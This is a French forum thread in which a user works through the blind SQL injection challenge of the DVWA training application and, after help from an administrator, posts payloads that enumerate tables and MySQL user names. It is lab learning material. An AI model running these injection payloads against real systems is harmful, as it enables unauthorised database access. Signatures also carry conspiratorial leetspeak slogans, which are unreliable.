Auteur Sujet: [Résolu] |Besoin d'aide pour extraire des noms de tables et des column SQLI Bind  (Lu 1501 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne Frenchcore44

  • Membre régulier
  • **
  • Messages: 97
  • +2/-0
Salut,

J'aurais besoin d'aide pour savoir comment extraire des tables et des columns depuis sqli mysql blind qui retourne que 2 résultat (vraix) ou (faux)
Voila enfaîte je suis bloquer sur le challenge de dvwa dans la partis sqli blind

il y a une search bar, et quand on rentre un id sa nous renvoie si l'utilisateur existe ou pas

J'ai bien compris le concept de cette faille, sauf je n'y arrive pas extraire les noms d'une colone ou d'une table

Du coup d'après la documentation : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md#mysql-blind-with-substring-equivalent
Il faut faire un SELECT et utilisez la fonction SUBSTR
Alors je me suis renseignez sur cette fonction

SUBSTR permet extraire une chaîne de caractère dans mon cas sa seras le nom d'une table de ma db
Le "premier 1" est la position définie pour le début et sur la longueur définie par “deuxième 1”

https://sql.sh/fonctions/substring

Du coup je fait mon SELECT comme la doc me l'indique

1' AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'u' #
Et puis sa retourne faux, pourtant dans information_schema.tables j'ai bien une table qui commence par "u"

du coup je me dit qu'il faut faire un UNION car normalement je ne peut pas faire un SELECT sans UNION (j'ai bien dit normalement) ???

du coup il me faut le nombre de columns
1' ORDER BY 3# -> faux
1' ORDER BY 2# -> vraix

Ducoup je re fait mon SELECT mais avec UNION

1' AND UNION  SELECT 1,SUBSTR(table_name,1,1) FROM information_schema.tables > 'u' #   -> faux
Pareil sa ne marche pas,
j'essaye donc plusieurs chose
1' AND SUBSTR(table_name,1,1) FROM information_schema.tables > 'u' #   -> faux
1' AND SUBSTR(table_name,1,1) FROM information_schema.tables  WHERE TABLE_SCHEMA = database() > 'u' # -> faux

Ducoup je suis bloquer et je ne sais pas comment je peut extraire les noms des tables et columns en bruteforcent

Merci d'avence pour votre aide
« Modifié: 21 octobre 2019 à 20:56:44 par ZeR0-@bSoLu »
>l3$ 3l1t3$ 0l1garc1qu3$ m0nd1al1st3 et l3ur$ ma1tr3s 0ccult3s v0us r3m3rc13nts d3 v0tr3 part1c1pat10ns à l'av3nc33 d3 la m1s3 3n plac3 du n0uv3l 0rdr3 m0ndial
 
0rd0 Ab Cha0 / P0ur V0tr3 S3cur1t3 V0u$ N' @ur3z P1u$ D3 L1b1t33 / Qu1 @pp@rti3nt L3 p@ss3 @pp@rti3nt L3 Pr3s3nt / % P0ur M13uX R3gn3r

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2614
  • +144/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
« Modifié: 21 octobre 2019 à 06:42:41 par ZeR0-@bSoLu »
Mess  with the bests.
Die like the rest.

Hors ligne Frenchcore44

  • Membre régulier
  • **
  • Messages: 97
  • +2/-0
Salut, re merci

du coup envoyant la doc que tu ma donner,
 j'avais oubliez qu'il fallait que je met un id qui n'existe pas,
car si je fait j'aurais beau faire des conditions qui sont vrais ou faux sa me renvoyer tout le temps vrais car je mettais un id qui était vrais

du coup pour les plus curieux sa donne ça :

-1' UNION SELECT 1,user FROM mysql.user WHERE user LIKE 'r%' # -> vrais si un utilisateur commence par r
1' UNION SELECT 1,user FROM mysql.user WHERE user LIKE 'jepeutmetrenimportequoi%' # -> toutes le temps vrais
« Modifié: 21 octobre 2019 à 20:55:51 par ZeR0-@bSoLu »
>l3$ 3l1t3$ 0l1garc1qu3$ m0nd1al1st3 et l3ur$ ma1tr3s 0ccult3s v0us r3m3rc13nts d3 v0tr3 part1c1pat10ns à l'av3nc33 d3 la m1s3 3n plac3 du n0uv3l 0rdr3 m0ndial
 
0rd0 Ab Cha0 / P0ur V0tr3 S3cur1t3 V0u$ N' @ur3z P1u$ D3 L1b1t33 / Qu1 @pp@rti3nt L3 p@ss3 @pp@rti3nt L3 Pr3s3nt / % P0ur M13uX R3gn3r

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2614
  • +144/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
De rien je passe en résolu  du coup ;)
Mess  with the bests.
Die like the rest.